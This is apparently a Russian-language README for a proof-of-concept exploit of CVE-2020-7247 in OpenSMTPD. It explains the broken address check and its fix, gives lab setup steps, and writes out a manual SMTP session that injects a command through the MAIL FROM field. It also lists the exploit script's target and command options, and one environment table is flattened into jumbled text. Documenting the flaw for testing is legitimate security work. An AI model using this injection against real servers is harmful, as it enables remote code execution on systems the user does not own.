
Доказательство концепции для CVE-2020-7247 в образовательных целях.
Этот репозиторий должен служить основой для настройки и эксплуатации CVE-2020-7247 в контролируемой и частной среде. Весь опубликованный код и конфигурация предназначены исключительно для тестирования этой уязвимости, а не для злоупотребления ею в отношении систем, которые не являются вашими собственными / на которые у вас нет разрешения на эксплуатацию. Владелец этого репозитория не несёт ответственности за использование этих инструментов третьими лицами.
Основная проблема в коде заключается в том, что проверка почты не работает. Она позволяет передавать потенциально опасные символы в полях MAIL FROM и RCPT TO.
Если локальная часть почтового адреса недействительна, она считается действительной, потому что код добавляет к ней доменную часть и затем интерпретирует её как действительную. Это позволяет злоумышленнику выполнить произвольный код.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Код для безопасности должен выглядеть следующим образом:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
OpenSMTPD затем выполняет так называемую команду MDA. Команда используется для доставки почты. Она выглядит следующим образом:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Здесь вы уже можете увидеть проблему. mbox.from — это адрес отправителя, который полностью контролируется злоумышленником.
Однако злоумышленник ограничен использованием в шеллкоде только символов, которых нет в следующем списке: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Полное раскрытие здесь
Вы можете выбрать любой дистрибутив для запуска сервера. Я тестировал на Ubuntu 18.04 LTS.
Выполните chmod +x setup.sh, чтобы сделать скрипт настройки исполняемым. Вы можете использовать его от обычного пользователя, так как я включил права sudo в скрипт только там, где это необходимо. (Конечно, ваш пользователь должен быть sudoer)
Скрипт настройки установит все необходимые зависимости для самого smtpd и скопирует конфигурацию в соответствующие места.
Будет установлен OpenSMTPD 6.6.1. \
Если вам нужно запустить OpenSMTPD вручную или в скрипте возникла ошибка, выполните следующее:
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
Конфигурация в этом репозитории предназначена только для локального тестирования. Она не включает внешние домены/расширенную конфигурацию.
aliases и smtpd.conf — это два файла конфигурации, необходимые для настройки этого сервера. Вы можете изменять их по своему усмотрению. Имейте в виду, что конфигурация была предназначена для моего тестового сервера. Моё имя сервера было ase (директива @ase в smtpd.conf), а моё имя пользователя было ase (конфигурация пользователя в aliases).
Вам нужно заменить <YOUR IP> в smtpd.conf на IP-адрес вашего сервера. В противном случае smtpd не запустится.
Если вы встретите какие-либо IP-адреса и порты в этом окружении, вот некоторые ключевые факты об окружении, которое я использовал, чтобы вы могли изменить их соответствующим образом:
asease192.168.1.4025192.168.1.311337Предоставленный эксплойт использует Python 3.x. Он использует зависимость pwn. Чтобы использовать этот эксплойт, вам нужно установить pwntools с помощью pip3 install pwntools.
По сути, эксплойт автоматически эксплуатирует уязвимость без участия пользователя. Однако эксплойт можно выполнить вручную без Python-скрипта.
Как упоминалось ранее, эксплойт может быть выполнен без предоставленного Python-скрипта. Вам нужно будет вручную пройти процесс SMTP. Это можно сделать с помощью netcat или telnet.
Вот один пример того, как это можно сделать вручную:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
Вы также можете использовать предоставленный скрипт. Возможны следующие параметры
--targetHost указывает цель и является обязательным.--targetPort указывает порт цели и является обязательным.--customCommand указывает команду для внедрения.shellcode.py служит примером того, как может выглядеть удалённый шелл-код. \
